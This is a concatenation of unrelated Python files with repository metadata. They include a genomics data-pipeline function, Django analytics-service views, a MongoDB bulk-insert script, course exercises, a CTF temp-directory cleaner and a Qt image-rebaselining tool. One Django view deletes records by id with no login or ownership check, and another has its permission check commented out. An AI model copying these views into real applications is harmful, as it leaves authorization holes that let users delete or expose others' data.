format='[%(asctime)s] {%(filename)s:%(lineno)d} %(levelname)s: %(message)s',
level=logging.DEBUG
)
start_tracis_syncronizer(
main_sumo_host_port=args.main_sumo_host_port,
other_sumo_host_ports=args.other_sumo_host_ports,
order=args.sumo_order
)
| 34.335484 | 153 | 0.599211 |
fa6e2940900591d9470ba01c2dd2e48f3b5615c8
| 1,136 |
py
|
Python
|
data-pipeline/src/data_pipeline/datasets/exac/exac_regional_missense_constraint.py
|
broadinstitute/gnomadjs
|
00da72cdc2cb0753f822c51456ec15147c024a1d
|
[
"MIT"
] | 38 |
2018-02-24T02:33:52.000Z
|
2020-03-03T23:17:04.000Z
|
data-pipeline/src/data_pipeline/datasets/exac/exac_regional_missense_constraint.py
|
broadinstitute/gnomadjs
|
00da72cdc2cb0753f822c51456ec15147c024a1d
|
[
"MIT"
] | 385 |
2018-02-21T16:53:13.000Z
|
2020-03-04T00:52:40.000Z
|
data-pipeline/src/data_pipeline/datasets/exac/exac_regional_missense_constraint.py
|
broadinstitute/gnomadjs
|
00da72cdc2cb0753f822c51456ec15147c024a1d
|
[
"MIT"
] | 13 |
2020-05-01T13:03:54.000Z
|
2022-02-28T13:12:57.000Z
|
import hail as hl
def prepare_exac_regional_missense_constraint(path):
ds = hl.import_table(
path,
missing="",
types={
"transcript": hl.tstr,
"gene": hl.tstr,
"chr": hl.tstr,
"amino_acids": hl.tstr,
"genomic_start": hl.tint,
"genomic_end": hl.tint,
"obs_mis": hl.tfloat,
"exp_mis": hl.tfloat,
"obs_exp": hl.tfloat,
"chisq_diff_null": hl.tfloat,
"region_name": hl.tstr,
},
)
ds = ds.annotate(obs_mis=hl.int(ds.obs_mis))
ds = ds.annotate(start=hl.min(ds.genomic_start, ds.genomic_end), stop=hl.max(ds.genomic_start, ds.genomic_end))
ds = ds.drop("amino_acids", "chr", "gene", "genomic_start", "genomic_end", "region_name")
ds = ds.transmute(transcript_id=ds.transcript.split("\\.")[0])
ds = ds.group_by("transcript_id").aggregate(regions=hl.agg.collect(ds.row_value))
ds = ds.annotate(regions=hl.sorted(ds.regions, lambda region: region.start))
ds = ds.select(exac_regional_missense_constraint_regions=ds.regions)
return ds
| 29.894737 | 115 | 0.601232 |
ad1ab51f8499f1d4ded5f9bd2c0db3404d94ac2b
| 8,956 |
py
|
Python
|
apps/quiver/views.py
|
OpenAdaptronik/Rattler
|
c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4
|
[
"MIT"
] | 2 |
2018-05-18T08:38:29.000Z
|
2018-05-22T08:26:09.000Z
|
apps/quiver/views.py
|
IT-PM-OpenAdaptronik/Webapp
|
c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4
|
[
"MIT"
] | 118 |
2017-10-31T13:45:09.000Z
|
2018-02-24T20:51:42.000Z
|
apps/quiver/views.py
|
OpenAdaptronik/Rattler
|
c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4
|
[
"MIT"
] | null | null | null |
from apps.quiver.models import AnalyticsService, AnalyticsServiceExecution
from django.shortcuts import render, HttpResponseRedirect
from django.core.exceptions import PermissionDenied
from django.views.generic import FormView, CreateView, ListView, DetailView, UpdateView
from django.contrib.auth.mixins import LoginRequiredMixin
from .forms import AnalyticsServiceForm
from django.core import serializers
from django.utils.encoding import uri_to_iri
from django.shortcuts import render, HttpResponseRedirect
from apps.calc.measurement import measurement_obj
from django.contrib.auth.decorators import login_required
from django.http import JsonResponse
import json
from apps.analysis.json import NumPyArangeEncoder
from apps.projects.models import Experiment, Project, Datarow, Value
from apps.projects.serializer import project_serialize
from django.conf import settings
from django.core.exceptions import PermissionDenied
import numpy as np
import random
from apps.quiver import service_executor
# Create your views here.
class NewAnalyticsService(LoginRequiredMixin, CreateView):
form_class = AnalyticsServiceForm
template_name = 'quiver/analyticsservice_create.html'
def get_context_data(self, **kwargs):
data = super(NewAnalyticsService, self).get_context_data(**kwargs)
return data
def form_valid(self, form):
user = self.request.user
form.instance.user = user
context = self.get_context_data()
self.object = form.save()
return super(NewAnalyticsService, self).form_valid(form)
class UpdateAnalyticsService(LoginRequiredMixin, UpdateView):
model = AnalyticsService
form_class = AnalyticsServiceForm
pk_url_kwarg = 'id'
def get(self, request, *args, **kwargs):
self.object = self.get_object()
if not self.object.user == self.request.user and not self.object.visibility:
raise PermissionDenied()
return super(UpdateAnalyticsService, self).get(request, *args, **kwargs)
def get_context_data(self, **kwargs):
data = super(UpdateAnalyticsService, self).get_context_data(**kwargs)
return data
def form_valid(self, form):
context = self.get_context_data()
return super(UpdateAnalyticsService, self).form_valid(form)
class MyAnalyticsService(LoginRequiredMixin, ListView):
model = AnalyticsService
allow_empty = True
paginate_by = 10
def get_queryset(self):
user = self.request.user
return AnalyticsService.objects.filter(user=user).order_by('updated')
class AnalyticsServiceDetail(DetailView):
model = AnalyticsService
pk_url_kwarg = 'id'
def get_context_data(self, **kwargs):
user = self.request.user
# Call the base implementation first to get a context
context = super().get_context_data(**kwargs)
# Add in a QuerySet of all the projects
context['project_list'] = Project.objects.filter(user=user).order_by('updated')
return context
#def get(self, request, *args, **kwargs):
# self.object = self.get_object()
# if self.object.user != self.request.user and not self.object.visibility:
# raise PermissionDenied()
# return super(AnalyticsServiceDetail, self).get(request, *args, **kwargs)
def delete_analytics_service(request, analytics_service_id):
AnalyticsService.objects.get(id=analytics_service_id).delete()
return HttpResponseRedirect('/quiver/')
@login_required
def analytics_service_detail(request, experimentId):
if request.method != 'POST':
return HttpResponseRedirect('/dashboard/')
# current user
curruser_id = request.user.id
projectId = Experiment.objects.get(id=experimentId).project_id
# owner of experiment
expowner_id = Project.objects.get(id=projectId).user_id
# read graph visibility from post
graph_visibility = request.POST.get("graphVisibilities", "").split(',')
# Read Data from DB
header_list = np.asarray(Datarow.objects.filter(experiment_id=experimentId).values_list('name', flat=True))
einheiten_list = np.asarray(Datarow.objects.filter(experiment_id=experimentId).values_list('unit', flat=True))
mInstruments_list = np.asarray(
Datarow.objects.filter(experiment_id=experimentId).values_list('measuring_instrument', flat=True))
experimentName = Experiment.objects.get(id=experimentId).name
dateCreated = Experiment.objects.get(id=experimentId).created
timerow = Experiment.objects.get(id=experimentId).timerow
datarow_id = Datarow.objects.filter(experiment_id=experimentId).values_list('id', flat=True)
value_amount = len(Value.objects.filter(datarow_id=datarow_id[0]))
datarow_amount = len(datarow_id)
# values in the right order will be put in here, but for now initialize with 0
values_wo = [0] * datarow_amount
#fill values_wo with only datarow_amount-times of database fetches
i = 0
while i < datarow_amount:
values_wo[i] = Value.objects.filter(datarow_id=datarow_id[i]).values_list('value', flat=True)
i += 1
# order the values in values_wo, so that they can be used without database fetching
data = np.transpose(values_wo).astype(float)
# Create/Initialize the measurement object
measurement = measurement_obj.Measurement(json.dumps(data, cls=NumPyArangeEncoder),json.dumps(header_list, cls=NumPyArangeEncoder),
json.dumps(einheiten_list, cls=NumPyArangeEncoder),timerow)
# Prepare the Data for Rendering
dataForRender = {
'jsonData': json.dumps(measurement.data, cls=NumPyArangeEncoder),
'jsonHeader': json.dumps(measurement.colNames, cls=NumPyArangeEncoder),
'jsonEinheiten': json.dumps(measurement.colUnits, cls=NumPyArangeEncoder),
'jsonZeitreihenSpalte': json.dumps(measurement.timeIndex, cls=NumPyArangeEncoder),
'jsonMeasurementInstruments': json.dumps(mInstruments_list, cls=NumPyArangeEncoder),
'experimentId': experimentId,
'experimentName': experimentName,
'projectId': projectId,
'dateCreated': dateCreated,
'current_user_id': curruser_id,
'experiment_owner_id': expowner_id,
'graphVisibility': json.dumps(graph_visibility, cls=NumPyArangeEncoder),
}
# save experimentId to get it in ajax call when refreshing graph
request.session['experimentId'] = experimentId
return render(request, "quiver/index.html", dataForRender)
#def analyticsService(request):
#
# if request.method == 'POST':
# form = AnalyticsServiceForm(request.POST)
# if form.is_valid():
# print('hi')
#
# form = AnalyticsServiceForm()
#
# return render(request, 'analytics_service_detail.html', {'form': form})
def execute_service(request, analytics_service_id):
#data = request.body
#data = json.loads(data)
#read data and get project id:
if request.method == 'POST':
project_id = request.POST.get("project_id", )
rowcounter = int(request.POST.get("rowcounter", ))
#read out of ajax and adjust format for follwing execution of service
#read and prepare parameter data to send it to the service
input = [];
parameter = [];
i = 0;
while i < rowcounter:
param_attributes = {
'name': request.POST.get('parameter_name_' + str(i), ),
'value': request.POST.get('parameter_value_' + str(i), ),
'type': request.POST.get('type_select_' + str(i), )
}
parameter.append(param_attributes)
i = i + 1;
# work that input
#serialize project as preparation to send it to the service
input = project_serialize(project_id)
#generate a random number between 0 and 9999 as task_id
task_id = random.randrange(0, 10000, 1)
service = AnalyticsService.objects.get(id=analytics_service_id)
status = service_executor.get_status_for_service(service)
if status == service_executor.ServiceState.READY:
user = request.user
service_execution = AnalyticsServiceExecution(service=service, last_state=1, user=user)
service_execution.save()
#while service_execution.last_state != service_executor.ServiceState.DONE:
if service_execution.last_state == service_executor.ServiceState.READY:
task_url = service_executor.execute_next_state(service_execution, None, input, parameter)
if service_execution.last_state == service_executor.ServiceState.RUNNING:
result = service_executor.execute_next_state(service_execution, task_url, None, None).decode('ascii')
return JsonResponse(result, safe=False)
else: raise ValueError('Service does not exist right now.')
return
| 41.082569 | 135 | 0.704891 |
7e38b53b5f4c4aae5647971334f2234e632edaa5
| 1,069 |
py
|
Python
|
chapter100/mongodb_04.py
|
thiagola92/learning-databases-with-python
|
cf23c34d7fd1ecd36dd3e7b30dc5916eb23eaf1e
|
[
"MIT"
] | null | null | null |
chapter100/mongodb_04.py
|
thiagola92/learning-databases-with-python
|
cf23c34d7fd1ecd36dd3e7b30dc5916eb23eaf1e
|
[
"MIT"
] | null | null | null |
chapter100/mongodb_04.py
|
thiagola92/learning-databases-with-python
|
cf23c34d7fd1ecd36dd3e7b30dc5916eb23eaf1e
|
[
"MIT"
] | null | null | null |
import time
from pymongo import MongoClient
from datetime import datetime
from threading import Thread, Lock
start = datetime.now()
client = MongoClient("mongodb://username:[email protected]")
database = client["database_name"]
collection = database["collection_name"]
threads_count = 0
lock = Lock()
package = []
def send(p):
global threads_count
with lock:
threads_count += 1
collection.insert_many(p)
with lock:
threads_count -= 1
with open("utils/trash.csv") as file:
for line in file.readlines():
name, description = line.split(",")
package.append({"name": name, "description": description})
if len(package) >= 10000:
while threads_count >= 4:
time.sleep(0)
Thread(target=send, args=(package[:],), daemon=True).start()
package.clear()
if package:
collection.insert_many(package)
while threads_count != 0:
pass
print(collection.count_documents({}))
collection.drop()
client.drop_database("mongo")
print(datetime.now() - start)
| 20.169811 | 72 | 0.656688 |
cbc2172760f370c3b4d7c60769a266040ec53d06
| 442 |
py
|
Python
|
BITs/2014/Abdrahmanova_G_I/task_3_1.py
|
YukkaSarasti/pythonintask
|
eadf4245abb65f4400a3bae30a4256b4658e009c
|
[
"Apache-2.0"
] | null | null | null |
BITs/2014/Abdrahmanova_G_I/task_3_1.py
|
YukkaSarasti/pythonintask
|
eadf4245abb65f4400a3bae30a4256b4658e009c
|
[
"Apache-2.0"
] | null | null | null |
BITs/2014/Abdrahmanova_G_I/task_3_1.py
|
YukkaSarasti/pythonintask
|
eadf4245abb65f4400a3bae30a4256b4658e009c
|
[
"Apache-2.0"
] | null | null | null |
#Задача 3. Вариант 1.
#Напишите программу, которая выводит имя "Иво Ливи", и запрашивает его псевдоним. Программа должна сцеплять две эти строки и выводить полученную строку, разделяя имя и псевдоним с помощью тире.
name=input('Герой нашей сегодняшней программы - Иво Ливи. \nПод каким же именем мы знаем этого человека? ')
print('Ваш ответ: ', name)
print('Все верно: Иво Ливи - ', name)
input('Нажмите Enter')
#Abdrahmanova G. I.
#7.03.2016
| 55.25 | 193 | 0.757919 |
3892d5674879bbcf71468a4b3b615df537552e19
| 729 |
py
|
Python
|
HackTheVote/2020/fileshare/cleaner.py
|
mystickev/ctf-archives
|
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
|
[
"MIT"
] | 1 |
2021-11-02T20:53:58.000Z
|
2021-11-02T20:53:58.000Z
|
HackTheVote/2020/fileshare/cleaner.py
|
ruhan-islam/ctf-archives
|
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
|
[
"MIT"
] | null | null | null |
HackTheVote/2020/fileshare/cleaner.py
|
ruhan-islam/ctf-archives
|
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
|
[
"MIT"
] | 1 |
2021-12-19T11:06:24.000Z
|
2021-12-19T11:06:24.000Z
|
import os, time, shutil
def get_used_dirs():
pids = [p for p in os.listdir("/proc") if p.isnumeric()]
res = set()
for p in pids:
try:
path = os.path.realpath("/proc/%s/cwd"%p)
if path.startswith("/tmp/fileshare."):
res.add(path)
except:
pass
return res
while True:
try:
dirs = ["/tmp/"+d for d in os.listdir("/tmp") if d.startswith("fileshare.")]
used = get_used_dirs()
for d in dirs:
if d not in used:
try:
os.system("umount %s/proc"%d)
shutil.rmtree(d)
except:
pass
except:
pass
time.sleep(5)
| 25.137931 | 84 | 0.463649 |
2a145ab11f78cc5615c8d4ed402ea232a50a31a2
| 297 |
py
|
Python
|
exercises/ja/solution_01_03_02.py
|
tuanducdesign/spacy-course
|
f8d092c5fa2997fccb3f367d174dce8667932b3d
|
[
"MIT"
] | 2 |
2020-07-07T01:46:37.000Z
|
2021-04-20T03:19:43.000Z
|
exercises/ja/solution_01_03_02.py
|
tuanducdesign/spacy-course
|
f8d092c5fa2997fccb3f367d174dce8667932b3d
|
[
"MIT"
] | null | null | null |
exercises/ja/solution_01_03_02.py
|
tuanducdesign/spacy-course
|
f8d092c5fa2997fccb3f367d174dce8667932b3d
|
[
"MIT"
] | null | null | null |
# spaCyをインポートし、日本語のnlpオブジェクトを作成
import spacy
nlp = spacy.blank("ja")
# テキストを処理
doc = nlp("私はツリーカンガルーとイッカクが好きです。")
# 「ツリーカンガルー」のスライスを選択
tree_kangaroos = doc[2:4]
print(tree_kangaroos.text)
# 「ツリーカンガルーとイッカク」のスライスを選択
tree_kangaroos_and_narwhals = doc[2:6]
print(tree_kangaroos_and_narwhals.text)
| 18.5625 | 39 | 0.787879 |
4f080165a526d26946f0e9abfb0e9d778b0984e7
| 1,851 |
py
|
Python
|
research/recommend/Fat-DeepFFM/eval310.py
|
leelige/mindspore
|
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
|
[
"Apache-2.0"
] | 77 |
2021-10-15T08:32:37.000Z
|
2022-03-30T13:09:11.000Z
|
research/recommend/Fat-DeepFFM/eval310.py
|
leelige/mindspore
|
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
|
[
"Apache-2.0"
] | 3 |
2021-10-30T14:44:57.000Z
|
2022-02-14T06:57:57.000Z
|
research/recommend/Fat-DeepFFM/eval310.py
|
leelige/mindspore
|
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
|
[
"Apache-2.0"
] | 24 |
2021-10-15T08:32:45.000Z
|
2022-03-24T18:45:20.000Z
|
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""postprocess."""
import argparse
import os
import numpy as np
from mindspore import Tensor
from src.config import ModelConfig
from src.metrics import AUCMetric
parser = argparse.ArgumentParser(description='CTR Prediction')
parser.add_argument('--result_path', type=str, default="./result_Files", help='Dataset path')
parser.add_argument('--label_path', type=str, default="./CriteoBinary/batch_labels", help='Checkpoint path')
args = parser.parse_args()
def get_acc():
''' get accuracy '''
config = ModelConfig()
batch_size = config.batch_size
auc_metric = AUCMetric()
files = os.listdir(args.label_path)
for f in files:
rst_file = os.path.join(args.result_path, f.split('.')[0] + '_0.bin')
label_file = os.path.join(args.label_path, f)
logit = Tensor(np.fromfile(rst_file, np.float32).reshape(batch_size, 1))
label = Tensor(np.fromfile(label_file, np.float32).reshape(batch_size, 1))
res = []
res.append(logit)
res.append(logit)
res.append(label)
auc_metric.update(*res)
auc = auc_metric.eval()
print("auc : {}".format(auc))
if __name__ == '__main__':
get_acc()
| 31.913793 | 108 | 0.67477 |
355b54f8b2fba95e01f01d6e3b0468747cbcfa07
| 587 |
py
|
Python
|
Curso-Em-Video-Python/1Materias/08_Utilizando_Modulos/#08 - Utilizando Módulos C random.py
|
pedrohd21/Cursos-Feitos
|
b223aad83867bfa45ad161d133e33c2c200d42bd
|
[
"MIT"
] | null | null | null |
Curso-Em-Video-Python/1Materias/08_Utilizando_Modulos/#08 - Utilizando Módulos C random.py
|
pedrohd21/Cursos-Feitos
|
b223aad83867bfa45ad161d133e33c2c200d42bd
|
[
"MIT"
] | null | null | null |
Curso-Em-Video-Python/1Materias/08_Utilizando_Modulos/#08 - Utilizando Módulos C random.py
|
pedrohd21/Cursos-Feitos
|
b223aad83867bfa45ad161d133e33c2c200d42bd
|
[
"MIT"
] | null | null | null |
import random
# num = random.random() para numeros de 0 e 1
num = random.randint(1, 10)
print(num)
'''import random 'choice'
n1 = str(input('Primeiro aluno: '))
n2 = str(input('Segundo aluno: '))
n3 = str(input('Terceiro aluno: '))
n4 = str(input('Quarto aluno: '))
lista = [n1, n2, n3, n4]
escolha = random.choice(lista)
print(escolha)'''
'''import random 'shuffle'
n1 = str(input('Aluno: '))
n2 = str(input('Aluno: '))
n3 = str(input('Aluno: '))
n4 = str(input('Aluno: '))
lista = [n1, n2, n3, n4]
sorteio = random.shuffle(lista)
print('A ordem de apresentação é ')
print(lista)'''
| 24.458333 | 45 | 0.645656 |
57a8e223905afe0cac15558594f1c75596817567
| 15,208 |
py
|
Python
|
src/test/rebaseline-p.py
|
visit-dav/vis
|
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
|
[
"BSD-3-Clause"
] | 226 |
2018-12-29T01:13:49.000Z
|
2022-03-30T19:16:31.000Z
|
src/test/rebaseline-p.py
|
visit-dav/vis
|
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
|
[
"BSD-3-Clause"
] | 5,100 |
2019-01-14T18:19:25.000Z
|
2022-03-31T23:08:36.000Z
|
src/test/rebaseline-p.py
|
visit-dav/vis
|
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
|
[
"BSD-3-Clause"
] | 84 |
2019-01-24T17:41:50.000Z
|
2022-03-10T10:01:46.000Z
|
import filecmp
import os
import sys
import shutil
import subprocess
import time
import unittest
if (sys.version_info > (3, 0)):
import urllib.request, urllib.parse, urllib.error
else:
import urllib
from optparse import OptionParser
from PyQt4 import QtCore,QtGui
parser = OptionParser()
parser.add_option("-r", "--root", dest="web_root",
default="http://portal.nersc.gov/project/visit/",
help="Root of web URL where baselines are")
parser.add_option("-d", "--date", dest="web_date",
help="Date of last good run, in YYMonDD form")
parser.add_option("-m", "--mode", dest="mode",
help="Mode to run in: serial, parallel, sr")
parser.add_option("-w", "--web-url", dest="web_url",
help="Manual URL specification; normally generated "
"automatically based on (-r, -d, -m)")
parser.add_option("-g", "--git", dest="git", action="store_true",
help="Use git to ignore images with local modifications")
parser.add_option("-s", "--svn", dest="svn", action="store_true",
help="Use svn to ignore images with local modifications")
(options, args) = parser.parse_args()
if options.web_url is not None:
uri = options.web_url
else:
uri = options.web_root + options.web_date + "/"
mode = ""
if options.mode == "sr" or options.mode == "scalable,parallel" or \
options.mode == "scalable_parallel":
mode="davinci_scalable_parallel_icet"
else:
mode="".join([ s for s in ("davinci_", options.mode) ])
uri += mode + "/"
parser.destroy()
print("uri:", uri)
class MW(QtGui.QMainWindow):
def __init__(self, parent=None):
QtGui.QMainWindow.__init__(self, parent)
def real_dirname(path):
"""Python's os.path.dirname is not dirname."""
return path.rsplit('/', 1)[0]
def real_basename(path):
"""Python's os.path.basename is not basename."""
if path.rsplit('/', 1)[1] is '': return None
return path.rsplit('/', 1)[1]
def baseline_current(serial_baseline):
"""Given the path to the serial baseline image, determine if there is a mode
specific baseline. Return a 2-tuple of the baseline image and the path to
the 'current' image."""
dname = real_dirname(serial_baseline)
bname = real_basename(serial_baseline)
baseline = serial_baseline
if options.mode is not None:
# Check for a mode specific baseline.
mode_spec = os.path.join(dname + "/", options.mode + "/", bname)
if os.path.exists(mode_spec):
baseline = mode_spec
# `Current' image never has a mode-specific path; filename/dir is always
# based on the serial baseline's directory.
no_baseline = serial_baseline.split('/', 1) # path without "baseline/"
current = os.path.join("current/", no_baseline[1])
return (baseline, current)
def mode_specific(baseline):
"""Given a baseline image path, return a path to the mode specific baseline,
even if said baseline does not exist (yet)."""
if options.mode is None or options.mode == "serial":
return baseline
dname = real_dirname(baseline)
bname = real_basename(baseline)
if options.mode == "parallel":
if baseline.find("/parallel") != -1:
# It's already got parallel in the path; this IS a mode specific
# baseline.
return baseline
return os.path.join(dname, options.mode, bname)
if options.mode.find("scalable") != -1:
if baseline.find("scalable_parallel") != -1:
# Already is mode-specific.
return baseline
return os.path.join(dname, "scalable_parallel", bname)
# Ruh roh. options.mode must be garbage.
raise NotImplementedError("Unknown mode '%s'" % options.mode)
def local_modifications_git(file):
vcs_diff = subprocess.call(["git", "diff", "--quiet", file])
if vcs_diff == 1:
return True
return False
def local_modifications_svn(file):
svnstat = subprocess.Popen("svn stat %s" % file, shell=True,
stdout=subprocess.PIPE)
diff = svnstat.communicate()[0]
if diff != '':
return True
return False
def local_modifications(filepath):
"""Returns true if the file has local modifications. Always false if the
user did not supply the appropriate VCS option."""
if options.git: return local_modifications_git(filepath)
if options.svn: return local_modifications_svn(filepath)
return False
def equivalent(baseline, image):
"""True if the files are the same."""
if not os.path.exists(image): return False
# Note this is `shallow' by default, but that's fine for our usage.
return filecmp.cmp(baseline, image)
def trivial_pass(baseline, image):
"""True if we can determine that this image is OK without querying the
network."""
return equivalent(baseline, image) or local_modifications(baseline)
class RebaselinePTests(unittest.TestCase):
def test_dirname(self):
input_and_results = [
("baseline/category/test/a.png", "baseline/category/test"),
("b/c/t/q.png", "b/c/t"),
("b/c/t/longfn.png", "b/c/t"),
("b/c/t/", "b/c/t")
]
for tst in input_and_results:
self.assertEqual(real_dirname(tst[0]), tst[1])
def test_basename(self):
input_and_results = [
("baseline/category/test/a.png", "a.png"),
("b/c/t/q.png", "q.png"),
("b/c/t/longfn.png", "longfn.png"),
("b/c/t/", None)
]
for tst in input_and_results:
self.assertEqual(real_basename(tst[0]), tst[1])
class Image(QtGui.QWidget):
def __init__(self, path, parent=None):
self._filename = path
self._parent = parent
self._display = QtGui.QLabel(self._parent)
self._load()
def _load(self):
pixmap = QtGui.QPixmap(300,300)
pixmap.load(self._filename)
self._display.resize(pixmap.size())
self._display.setPixmap(pixmap)
def widget(self): return self._display
def width(self): return self._display.width()
def height(self): return self._display.height()
def update(self, path):
self._filename = path
self._load()
class Layout(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self._mainwin = parent
self._mainwin.statusBar().insertPermanentWidget(0,QtGui.QLabel())
self.status("Initializing...")
quit = QtGui.QPushButton('Quit', self)
quit.setMaximumWidth(80)
if parent is None: parent = self
parent.connect(quit, QtCore.SIGNAL('clicked()'), QtGui.qApp,
QtCore.SLOT('quit()'))
parent.connect(self, QtCore.SIGNAL('closeApp()'), self._die)
self._init_signals()
self._bugs = [] # list which keeps track of which images we think are bugs.
# guess an initial size; we don't know a real size until we've downloaded
# images.
self.resize_this_and_mainwin(600, 600)
self.setFocusPolicy(QtCore.Qt.StrongFocus)
self.setFocus()
self._baseline = None
self._current = None
self._diff = None
self._images = [None, None, None]
self._next_set_of_images()
self._images[0] = Image(self._baseline, self)
self._images[1] = Image(self._current, self)
self._images[2] = Image(self._diff, self)
grid = QtGui.QGridLayout()
label_baseline = QtGui.QLabel(grid.widget())
label_current = QtGui.QLabel(grid.widget())
label_diff = QtGui.QLabel(grid.widget())
label_baseline.setText("Baseline image:")
label_current.setText("Davinci's current:")
label_diff.setText("difference between them:")
label_baseline.setMaximumSize(QtCore.QSize(160,35))
label_current.setMaximumSize(QtCore.QSize(160,35))
label_diff.setMaximumSize(QtCore.QSize(200,35))
label_directions = QtGui.QLabel(grid.widget())
label_directions.setText("Keyboard shorcuts:\n\n"
"y: yes, rebaseline\n"
"n: no, current image is wrong\n"
"u: unknown, I can't/don't want to decide now\n"
"q: quit")
label_directions.setMaximumSize(QtCore.QSize(300,300))
grid.addWidget(label_baseline, 0,0)
grid.addWidget(label_current, 0,1)
grid.addWidget(self._images[0].widget(), 1,0)
grid.addWidget(self._images[1].widget(), 1,1)
grid.addWidget(label_diff, 2,0)
grid.addWidget(quit, 2,1)
grid.addWidget(self._images[2].widget(), 3,0)
grid.addWidget(label_directions, 3,1)
rows = (
(0, (label_baseline, label_current)),
(1, (self._images[0], self._images[1])),
(2, (label_diff, quit)),
(3, (self._images[2], label_directions))
)
cols = (
(0, (label_baseline, self._images[0], label_diff, self._images[2])),
(1, (label_current, self._images[1], quit, label_directions))
)
for r in rows:
grid.setRowMinimumHeight(r[0], max([x.height() for x in r[1]]))
for c in cols:
grid.setColumnMinimumWidth(c[0], max([x.height() for x in c[1]]))
self.setLayout(grid)
self.resize_this_and_mainwin(self.calc_width(), self.calc_height())
self.show()
self.setFocus()
def resize_this_and_mainwin(self, w, h):
self.resize(w,h)
# make sure it can't shrink too much
self._mainwin.setMinimumWidth(w)
self._mainwin.setMinimumHeight(h+30) # +30: for the status bar
# try not to resize the mainwin if we don't need to; it's annoying.
cur_w = self._mainwin.width()
cur_h = self._mainwin.height()
self._mainwin.resize(max(w,cur_w), max(h,cur_h))
self._mainwin.update()
def _die(self):
print("You thought these test results were bugs:")
for f in self._bugs:
print("\t", f)
self._mainwin.close()
def calc_width(self):
w = 0
for col in range(0,self.layout().columnCount()):
w += self.layout().columnMinimumWidth(col)
return w
def calc_height(self):
h = 0
for row in range(0,self.layout().rowCount()):
h += self.layout().rowMinimumHeight(row)
return h
def _update_images(self):
self._images[0].update(self._baseline)
self._images[1].update(self._current)
self._images[2].update(self._diff)
self.resize_this_and_mainwin(self.calc_width(), self.calc_height())
self.update()
def _rebaseline(self):
self.status("".join(["rebaselining ", self._current, "..."]))
baseline = mode_specific(self._baseline)
print("moving", self._current, "on top of", baseline)
# We might be creating the first mode specific baseline for that test. If
# so, it'll be missing the baseline specific dir.
if not os.path.exists(real_dirname(baseline)):
print(real_dirname(baseline), "does not exist, creating...")
os.mkdir(real_dirname(baseline))
shutil.move(self._current, baseline) # do the rebaseline!
self._next_set_of_images()
self._update_images()
def _ignore(self):
self.status("".join(["ignoring ", self._baseline, "..."]))
self._bugs.append(self._baseline)
self._next_set_of_images()
self._update_images()
def _unknown(self):
self.status("".join(["unknown ", self._baseline, "..."]))
self._next_set_of_images()
self._update_images()
def status(self, msg):
self._mainwin.statusBar().showMessage(msg)
self._mainwin.statusBar().update()
QtCore.QCoreApplication.processEvents() # we're single threaded
def _next_set_of_images(self):
"""Figures out the next set of images to display. Downloads 'current' and
'diff' results from davinci. Sets filenames corresponding to baseline,
current and diff images."""
if self._baseline is None: # first call, build list.
self._imagelist = []
print("Building initial file list... please wait.")
self.status("Building initial file list... please wait.")
for root, dirs, files in os.walk("baseline"):
for f in files:
fn, ext = os.path.splitext(f)
if ext == ".png":
# In some cases, we can trivially reject a file. Don't bother
# adding it to our list in that case.
serial_baseline_fn = os.path.join(root, f)
# Does this path contain "parallel" or "scalable_parallel"? Then
# we've got a mode specific baseline. We'll handle those based on
# the serial filenames, so ignore them for now.
if serial_baseline_fn.find("parallel") != -1: continue
baseline_fn, current_fn = baseline_current(serial_baseline_fn)
assert os.path.exists(baseline_fn)
if not trivial_pass(baseline_fn, current_fn):
self._imagelist.append(baseline_fn)
try:
while len(self._imagelist) > 0:
self._baseline = self._imagelist.pop()
# now derive other filenames based on that one.
filename = None
# os.path.split fails if there's no /
try:
filename = os.path.split(self._baseline)
filename = filename[1]
except AttributeError as e:
self.status("No slash!")
break
current_url = uri + "/c_" + filename
if (sys.version_info > (3, 0)):
f,info = urllib.request.urlretrieve(current_url, "local_current.png")
else:
f,info = urllib.urlretrieve(current_url, "local_current.png")
self.status("".join(["Checking ", current_url, "..."]))
if info.getheader("Content-Type").startswith("text/html"):
# then it's a 404 or other error; skip this image.
continue
else:
# We found the next image.
self._current = "local_current.png"
diff_url = uri + "/d_" + filename
if (sys.version_info > (3, 0)):
f,info = urllib.request.urlretrieve(diff_url, "local_diff.png")
else:
f,info = urllib.urlretrieve(diff_url, "local_diff.png")
if info.getheader("Content-Type").startswith("text/html"):
raise Exception("Could not download diff image.")
self._diff = "local_diff.png"
self.status("Waiting for input on " + filename)
break
except KeyError as e:
print(e)
print("No more images!")
self.emit(QtCore.SIGNAL('closeApp()'))
def _init_signals(self):
self.connect(self, QtCore.SIGNAL('rebaseline()'), self._rebaseline)
self.connect(self, QtCore.SIGNAL('ignore()'), self._ignore)
self.connect(self, QtCore.SIGNAL('unknown()'), self._unknown)
def keyPressEvent(self, event):
if event.key() == QtCore.Qt.Key_Q:
self.emit(QtCore.SIGNAL('closeApp()'))
if event.key() == QtCore.Qt.Key_Y:
self.emit(QtCore.SIGNAL('rebaseline()'))
if event.key() == QtCore.Qt.Key_N:
self.emit(QtCore.SIGNAL('ignore()'))
if event.key() == QtCore.Qt.Key_U:
self.emit(QtCore.SIGNAL('unknown()'))
QtCore.QCoreApplication.processEvents()
if __name__ == '__main__':
suite = unittest.TestLoader().loadTestsFromTestCase(RebaselinePTests)
results = unittest.TextTestRunner(verbosity=2).run(suite)
if not results.wasSuccessful():
print("Tests failed, bailing.")
sys.exit(1)
app = QtGui.QApplication(sys.argv)
mw = MW()
mw.show()
